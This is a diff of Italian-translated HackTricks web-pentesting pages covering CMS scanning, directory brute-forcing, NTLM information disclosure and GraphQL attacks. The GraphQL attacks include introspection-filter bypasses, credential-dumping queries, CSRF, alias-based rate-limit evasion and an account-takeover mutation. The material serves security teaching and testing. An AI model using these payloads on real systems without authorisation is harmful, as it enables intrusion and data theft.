-[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\
-[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **o** [**(M)oodle**](moodle.md)\
-[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
+[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** siti web per problemi di sicurezza. (GUI)\
+[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
 wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> A questo punto dovresti già avere alcune informazioni sul server web utilizzato dal cliente (se sono disponibili dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato, hai persino trovato un CMS e eseguito qualche scanner.
+> A questo punto dovresti già avere alcune informazioni sul server web utilizzato dal cliente (se sono stati forniti dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato, hai persino trovato un CMS e hai eseguito qualche scanner.
 
 ## Scoperta dell'applicazione web passo dopo passo
 
@@ -164,10 +164,10 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 
 **Forzare errori**
 
-I server web possono **comportarsi in modo imprevisto** quando dati strani vengono inviati loro. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**.
+I server web possono **comportarsi in modo imprevisto** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**.
 
 - Accedi a **pagine false** come /whatever_fake.php (.aspx,.html,.etc)
-- **Aggiungi "\[]", "]]", e "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
+- **Aggiungi "\[]", "]]" e "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori
 - Genera errori fornendo input come **`/~randomthing/%s`** alla **fine** dell'**URL**
 - Prova **diversi verbi HTTP** come PATCH, DEBUG o errati come FAKE
 
@@ -181,9 +181,9 @@ Se scopri che **WebDav** è **abilitato** ma non hai abbastanza permessi per **c
 ### **Vulnerabilità SSL/TLS**
 
 - Se l'applicazione **non costringe l'uso di HTTPS** in nessuna parte, allora è **vulnerabile a MitM**
-- Se l'applicazione **invia dati sensibili (password) utilizzando HTTP**. Allora è una vulnerabilità alta.
+- Se l'applicazione sta **inviando dati sensibili (password)** utilizzando HTTP. Allora è una vulnerabilità alta.
 
-Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi di Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
+Usa [**testssl.sh**](https://github.com/drwetter/testssl.sh) per controllare le **vulnerabilità** (nei programmi Bug Bounty probabilmente questo tipo di vulnerabilità non sarà accettato) e usa [**a2sv**](https://github.com/hahwul/a2sv) per ricontrollare le vulnerabilità:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -211,7 +211,7 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà.
 - [**galer**](https://github.com/dwisiswant0/galer) (go): spider HTML con capacità di rendering JS.
 - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): spider HTML, con capacità di abbellimento JS in grado di cercare nuovi percorsi in file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nel codice sorgente HTML che nei file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja dell'infosec.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nel sorgente HTML che nei file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja della sicurezza informatica.
 - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che utilizza Tornado e JSBeautifier per analizzare URL relativi da file JavaScript. Utile per scoprire facilmente richieste AJAX. Sembra non essere mantenuto.
 - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà URL da esso utilizzando espressioni regolari per trovare ed estrarre gli URL relativi da file brutti (minificati).
 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi strumenti): Raccogliere informazioni interessanti da file JS utilizzando diversi strumenti.
@@ -219,17 +219,17 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide
 - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser headless e stampa tutti gli URL caricati per caricare la pagina.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Strumento di scoperta dei contenuti che mescola diverse opzioni degli strumenti precedenti.
 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Un'estensione di Burp per trovare percorsi e parametri in file JS.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che dato l'URL .js.map ti fornirà il codice JS abbellito.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, dato l'URL .js.map, ti fornirà il codice JS abbellito.
 - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Questo è uno strumento utilizzato per scoprire endpoint per un dato target.
 - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scoprire link dalla wayback machine (scaricando anche le risposte nella wayback e cercando ulteriori link).
 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando moduli) e trova anche informazioni sensibili utilizzando regex specifici.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzionale progettato per professionisti della sicurezza informatica.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite è un avanzato crawler/spider web GUI multi-funzione progettato per professionisti della sicurezza informatica.
 - [**jsluice**](https://github.com/BishopFox/jsluice) (go): È un pacchetto Go e [strumento da riga di comando](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) per estrarre URL, percorsi, segreti e altri dati interessanti dal codice sorgente JavaScript.
 - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge è una semplice **estensione di Burp Suite** per **estrarre i parametri e gli endpoint** dalla richiesta per creare una wordlist personalizzata per fuzzing ed enumerazione.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Strumento fantastico per questo.
 - [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare.
 
-### Brute Force directory e file
+### Brute Force directories and files
 
 Inizia a **brute-forzare** dalla cartella radice e assicurati di brute-forzare **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\
 Strumenti:
@@ -240,9 +240,9 @@ Strumenti:
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Veloce, supporta ricerca ricorsiva.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
 - [**ffuf** ](https://github.com/ffuf/ffuf)- Veloce: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che dato l'elenco di URL trovati eliminerà gli URL "duplicati".
+- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, eliminerà gli URL "duplicati".
 - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Estensione di Burp per creare un elenco di directory dalla cronologia di burp di diverse pagine.
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuove URL con funzionalità duplicate (basato su importazioni js).
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuovi URL con funzionalità duplicate (basato su importazioni js).
 - [**Chamaleon**](https://github.com/iustin24/chameleon): Utilizza wapalyzer per rilevare le tecnologie utilizzate e selezionare le wordlist da utilizzare.
 
 **Dizionari consigliati:**
@@ -266,7 +266,7 @@ Strumenti:
 
 _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere Brute-Forzata._
 
-### Cosa controllare su ogni file trovato
+### Cosa controllare in ogni file trovato
 
 - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti all'interno degli HTML che potrebbero essere soggetti a takeover.
 - **File di backup**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
@@ -277,9 +277,9 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
 - **Commenti:** Controlla i commenti di tutti i file, puoi trovare **credenziali** o **funzionalità nascoste**.
 - Se stai partecipando a un **CTF**, un trucco "comune" è **nascondere** **informazioni** all'interno dei commenti a destra della **pagina** (utilizzando **centinaia** di **spazi** in modo da non vedere i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web.
-- **Chiavi API**: Se **trovi una chiave API** c'è una guida che indica come utilizzare le chiavi API di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
-- Chiavi API di Google: Se trovi una chiave API che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere.
-- **S3 Buckets**: Durante lo spidering controlla se qualche **sottodominio** o qualche **link** è correlato a qualche **S3 bucket**. In tal caso, [**controlla** le **permissive** del bucket](buckets/).
+- **API keys**: Se **trovi qualche API key** c'è una guida che indica come utilizzare le API key di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
+- Google API keys: Se trovi qualche API key che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere.
+- **S3 Buckets**: Durante lo spidering controlla se qualche **sottodominio** o qualche **link** è correlato a qualche **S3 bucket**. In tal caso, [**controlla** le **permissive** del bucket](buckets/index.html).
 
 ### Scoperte speciali
 
@@ -290,15 +290,15 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
 - Cerca **link** ad altri file all'interno dei file **CSS**.
 - [Se trovi un file _**.git**_ alcune informazioni possono essere estratte](git.md).
 - Se trovi un _**.env**_ informazioni come chiavi API, password db e altre informazioni possono essere trovate.
-- Se trovi **endpoint API** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembreranno" tali.
-- **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica può indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti utilizzare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
+- Se trovi **API endpoints** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembreranno" tali.
+- **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica potrebbe indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.**
 - Dovresti anche controllare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per scoprire se è vulnerabile.
-- **Deobfuscator e Unpacker Javascript:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
-- **Beautifier Javascript:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
-- **Deobfuscazione JsFuck** (javascript con caratteri:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
+- **Javascript Deobfuscator e Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
+- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
+- **JsFuck deobfuscation** (javascript con caratteri:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 - In diverse occasioni, sarà necessario **comprendere le espressioni regolari** utilizzate. Questo sarà utile: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex).
-- Potresti anche **monitorare i file in cui sono stati rilevati moduli**, poiché una modifica nel parametro o l'apparizione di un nuovo modulo può indicare una potenziale nuova funzionalità vulnerabile.
+- Potresti anche **monitorare i file in cui sono stati rilevati moduli**, poiché una modifica nel parametro o l'apparizione di un nuovo modulo potrebbe indicare una potenziale nuova funzionalità vulnerabile.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -310,9 +310,9 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for
 
 Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato un** SSRF.
 
-**Autenticazione NTLM - Informazioni riservate**
+**NTLM Authentication - Info disclosure**
 
-Se il server in esecuzione richiede autenticazione è **Windows** o trovi un login che richiede le tue **credenziali** (e richiede il **nome del dominio**), puoi provocare una **divulgazione di informazioni**.\
+Se il server in esecuzione richiede autenticazione è **Windows** o trovi un login che richiede le tue **credenziali** (e richiede il **nome** **del dominio**), puoi provocare una **divulgazione di informazioni**.\
 **Invia** l'**intestazione**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` e a causa di come funziona l'**autenticazione NTLM**, il server risponderà con informazioni interne (versione IIS, versione Windows...) all'interno dell'intestazione "WWW-Authenticate".\
 Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.nse_".
 
@@ -322,7 +322,7 @@ Puoi **automatizzare** questo utilizzando il **plugin nmap** "_http-ntlm-info.ns
 
 ### Controllo delle vulnerabilità web
 
-Ora che è stata eseguita un'ampia enumerazione dell'applicazione web, è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui:
+Ora che è stata eseguita un'enumerazione completa dell'applicazione web, è tempo di controllare molte possibili vulnerabilità. Puoi trovare la checklist qui:
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md

src/network-services-pentesting/pentesting-web/flask.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Probabilmente, se stai partecipando a un CTF, un'applicazione Flask sarà correlata a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
+**Probabilmente, se stai partecipando a un CTF, un'applicazione Flask sarà correlata a** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
 
 ## Cookies
 

src/network-services-pentesting/pentesting-web/graphql.md

@@ -4,7 +4,7 @@
 
 ## Introduzione
 
-GraphQL è **evidenziato** come un **alternativa efficiente** alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia significativamente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
+GraphQL è **evidenziato** come un **alternativa efficiente** alle API REST, offrendo un approccio semplificato per interrogare i dati dal backend. A differenza di REST, che spesso richiede numerose richieste attraverso vari endpoint per raccogliere dati, GraphQL consente di recuperare tutte le informazioni necessarie tramite una **singola richiesta**. Questa semplificazione **beneficia notevolmente gli sviluppatori** riducendo la complessità dei loro processi di recupero dati.
 
 ## GraphQL e Sicurezza
 
@@ -12,7 +12,7 @@ Con l'avvento di nuove tecnologie, inclusa GraphQL, emergono anche nuove vulnera
 
 ### Attacchi di Brute Force alle Directory e GraphQL
 
-Per identificare istanze GraphQL esposte, si raccomanda l'inclusione di percorsi specifici negli attacchi di brute force alle directory. Questi percorsi sono:
+Per identificare istanze GraphQL esposte, si raccomanda di includere percorsi specifici negli attacchi di brute force alle directory. Questi percorsi sono:
 
 - `/graphql`
 - `/graphiql`
@@ -29,9 +29,9 @@ Identificare istanze GraphQL aperte consente di esaminare le query supportate. Q
 
 Lo strumento [**graphw00f**](https://github.com/dolevf/graphw00f) è in grado di rilevare quale motore GraphQL è utilizzato in un server e poi stampa alcune informazioni utili per l'auditor di sicurezza.
 
-#### Query Universali <a href="#universal-queries" id="universal-queries"></a>
+#### Query universali <a href="#universal-queries" id="universal-queries"></a>
 
-Per verificare se un URL è un servizio GraphQL, può essere inviata una **query universale**, `query{__typename}`. Se la risposta include `{"data": {"__typename": "Query"}}`, conferma che l'URL ospita un endpoint GraphQL. Questo metodo si basa sul campo `__typename` di GraphQL, che rivela il tipo dell'oggetto interrogato.
+Per controllare se un URL è un servizio GraphQL, può essere inviata una **query universale**, `query{__typename}`. Se la risposta include `{"data": {"__typename": "Query"}}`, conferma che l'URL ospita un endpoint GraphQL. Questo metodo si basa sul campo `__typename` di GraphQL, che rivela il tipo dell'oggetto interrogato.
 ```javascript
 query{__typename}
 ```
@@ -184,7 +184,7 @@ Puoi vedere che gli oggetti "_Flags_" sono composti da **name** e **value**. Qui
 ```javascript
 query={flags{name, value}}
 ```
-Nota che nel caso in cui l'**oggetto da interrogare** sia un **tipo** **primitivo** come **stringa** come nel seguente esempio
+Nota che nel caso in cui l'**oggetto da interrogare** sia un **tipo** **primitivo** come **string** come nel seguente esempio
 
 ![](<../../images/image (958).png>)
 
@@ -202,7 +202,7 @@ Tuttavia, in questo esempio se provi a farlo ottieni questo **errore**:
 ![](<../../images/image (1042).png>)
 
 Sembra che in qualche modo cercherà utilizzando l'argomento "_**uid**_" di tipo _**Int**_.\
-Comunque, già sapevamo che, nella sezione [Basic Enumeration](graphql.md#basic-enumeration), era stata proposta una query che ci mostrava tutte le informazioni necessarie: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
+Comunque, lo sapevamo già, nella sezione [Basic Enumeration](graphql.md#basic-enumeration) è stata proposta una query che ci mostrava tutte le informazioni necessarie: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 
 Se leggi l'immagine fornita quando eseguo quella query vedrai che "_**user**_" aveva l'**arg** "_**uid**_" di tipo _Int_.
 
@@ -219,7 +219,7 @@ E durante la **fase di enumerazione** ho scoperto che l'oggetto "_**dbuser**_" a
 
 **Trucco di dump della stringa di query (grazie a @BinaryShadow\_)**
 
-Se puoi cercare per un tipo di stringa, come: `query={theusers(description: ""){username,password}}` e **cerchi una stringa vuota** esso **dumpa tutti i dati**. (_Nota che questo esempio non è correlato all'esempio dei tutorial, per questo esempio supponi di poter cercare utilizzando "**theusers**" per un campo String chiamato "**description**"_).
+Se puoi cercare per un tipo di stringa, come: `query={theusers(description: ""){username,password}}` e **cerchi una stringa vuota** esso **dumpa tutti i dati**. (_Nota che questo esempio non è correlato all'esempio dei tutorial, per questo esempio supponi di poter cercare usando "**theusers**" tramite un campo String chiamato "**description**"_).
 
 ### Ricerca
 
@@ -302,7 +302,9 @@ rating
 }
 }
 ```
-**Nota come sia i valori che il tipo di dati sono indicati
+**Nota come sia i valori che il tipo di dati sono indicati nella query.**
+
+Inoltre, il database supporta un'operazione di **mutazione**, chiamata `addPerson`, che consente la creazione di **persone** insieme alle loro associazioni a **amici** e **film** esistenti. È fondamentale notare che gli amici e i film devono esistere nel database prima di collegarli alla persona appena creata.
 ```javascript
 mutation {
 addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
@@ -332,7 +334,7 @@ releaseYear
 ```
 ### Direttiva Overloading
 
-Come spiegato in [**una delle vulnerabilità descritte in questo rapporto**](https://www.landh.tech/blog/20240304-google-hack-50000/), un overload di direttiva implica chiamare una direttiva anche milioni di volte per far sprecare operazioni al server fino a quando non è possibile effettuare un DoS.
+Come spiegato in [**una delle vulnerabilità descritte in questo rapporto**](https://www.landh.tech/blog/20240304-google-hack-50000/), un direttiva overloading implica la chiamata di una direttiva anche milioni di volte per far sprecare operazioni al server fino a quando non è possibile effettuare un DoS.
 
 ### Batching brute-force in 1 richiesta API
 
@@ -349,7 +351,7 @@ Come possiamo vedere dallo screenshot della risposta, la prima e la terza richie
 
 ## GraphQL Senza Introspezione
 
-Sempre più **endpoint graphql stanno disabilitando l'introspezione**. Tuttavia, gli errori che graphql genera quando riceve una richiesta inaspettata sono sufficienti per strumenti come [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) per ricreare la maggior parte dello schema.
+Sempre più **endpoint graphql stanno disabilitando l'introspezione**. Tuttavia, gli errori che graphql genera quando viene ricevuta una richiesta inaspettata sono sufficienti per strumenti come [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) per ricreare la maggior parte dello schema.
 
 Inoltre, l'estensione di Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **osserva le richieste API GraphQL che passano attraverso Burp** e **costruisce** uno **schema** GraphQL interno con ogni nuova query che vede. Può anche esporre lo schema per GraphiQL e Voyager. L'estensione restituisce una risposta falsa quando riceve una query di introspezione. Di conseguenza, GraphQuail mostra tutte le query, gli argomenti e i campi disponibili per l'uso all'interno dell'API. Per ulteriori informazioni [**controlla questo**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
 
@@ -357,7 +359,7 @@ Una bella **wordlist** per scoprire [**entità GraphQL può essere trovata qui**
 
 ### Bypassare le difese di introspezione GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
 
-Per bypassare le restrizioni sulle query di introspezione nelle API, inserire un **carattere speciale dopo la parola chiave `__schema`** si è dimostrato efficace. Questo metodo sfrutta le comuni disattenzioni degli sviluppatori nei modelli regex che mirano a bloccare l'introspezione concentrandosi sulla parola chiave `__schema`. Aggiungendo caratteri come **spazi, nuove righe e virgole**, che GraphQL ignora ma che potrebbero non essere considerati nel regex, le restrizioni possono essere eluse. Ad esempio, una query di introspezione con una nuova riga dopo `__schema` potrebbe bypassare tali difese:
+Per bypassare le restrizioni sulle query di introspezione nelle API, inserire un **carattere speciale dopo la parola chiave `__schema`** si è dimostrato efficace. Questo metodo sfrutta le comuni distrazioni degli sviluppatori nei modelli regex che mirano a bloccare l'introspezione concentrandosi sulla parola chiave `__schema`. Aggiungendo caratteri come **spazi, nuove righe e virgole**, che GraphQL ignora ma che potrebbero non essere considerati nel regex, le restrizioni possono essere eluse. Ad esempio, una query di introspezione con una nuova riga dopo `__schema` potrebbe bypassare tali difese:
 ```bash
 # Example with newline to bypass
 {
@@ -365,7 +367,7 @@ Per bypassare le restrizioni sulle query di introspezione nelle API, inserire un
 {queryType{name}}}"
 }
 ```
-Se non hai successo, considera metodi di richiesta alternativi, come **richieste GET** o **POST con `x-www-form-urlencoded`**, poiché le restrizioni potrebbero applicarsi solo alle richieste POST.
+Se non hai successo, considera metodi di richiesta alternativi, come **GET requests** o **POST con `x-www-form-urlencoded`**, poiché le restrizioni potrebbero applicarsi solo alle richieste POST.
 
 ### Prova WebSockets
 
@@ -419,13 +421,13 @@ Tuttavia, la maggior parte degli endpoint GraphQL supporta anche le richieste PO
 ```javascript
 query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 ```
-Pertanto, poiché le richieste CSRF come quelle precedenti vengono inviate **senza richieste preflight**, è possibile **eseguire** **modifiche** nel GraphQL abusando di un CSRF.
+Pertanto, poiché le richieste CSRF come quelle precedenti vengono inviate **senza richieste di preflight**, è possibile **eseguire** **modifiche** nel GraphQL abusando di un CSRF.
 
 Tuttavia, nota che il nuovo valore predefinito del cookie del flag `samesite` di Chrome è `Lax`. Ciò significa che il cookie verrà inviato solo da un sito web di terze parti in richieste GET.
 
 Nota che è solitamente possibile inviare la **richiesta** **query** anche come **richiesta GET e il token CSRF potrebbe non essere convalidato in una richiesta GET.**
 
-Inoltre, abusando di un [**XS-Search**](../../pentesting-web/xs-search/) **attacco** potrebbe essere possibile esfiltrare contenuti dall'endpoint GraphQL abusando delle credenziali dell'utente.
+Inoltre, abusando di un [**XS-Search**](../../pentesting-web/xs-search/index.html) **attacco** potrebbe essere possibile esfiltrare contenuti dall'endpoint GraphQL abusando delle credenziali dell'utente.
 
 Per ulteriori informazioni **controlla il** [**post originale qui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 
@@ -445,7 +447,7 @@ Molte funzioni GraphQL definite sull'endpoint potrebbero controllare solo l'aute
 
 Modificare le variabili di input della query potrebbe portare a dettagli sensibili dell'account [leaked](https://hackerone.com/reports/792927).
 
-Le mutazioni potrebbero persino portare a un takeover dell'account tentando di modificare i dati di un altro account.
+La mutazione potrebbe persino portare a un takeover dell'account tentando di modificare i dati di un altro account.
 ```javascript
 {
 "operationName":"updateProfile",
@@ -469,7 +471,7 @@ Per una comprensione dettagliata degli alias GraphQL, si consiglia la seguente r
 
 Sebbene lo scopo principale degli alias sia ridurre la necessità di numerose chiamate API, è stato identificato un caso d'uso non intenzionale in cui gli alias possono essere sfruttati per eseguire attacchi di forza bruta su un endpoint GraphQL. Questo è possibile perché alcuni endpoint sono protetti da limitatori di velocità progettati per ostacolare gli attacchi di forza bruta limitando il **numero di richieste HTTP**. Tuttavia, questi limitatori di velocità potrebbero non tenere conto del numero di operazioni all'interno di ciascuna richiesta. Dato che gli alias consentono l'inclusione di più query in una singola richiesta HTTP, possono eludere tali misure di limitazione della velocità.
 
-Considera l'esempio fornito di seguito, che illustra come le query con alias possono essere utilizzate per verificare la validità dei codici sconto del negozio. Questo metodo potrebbe aggirare la limitazione della velocità poiché compila diverse query in una richiesta HTTP, consentendo potenzialmente la verifica di numerosi codici sconto simultaneamente.
+Considera l'esempio fornito di seguito, che illustra come le query con alias possono essere utilizzate per verificare la validità dei codici sconto del negozio. Questo metodo potrebbe eludere la limitazione della velocità poiché compila diverse query in una richiesta HTTP, consentendo potenzialmente la verifica di numerosi codici sconto simultaneamente.
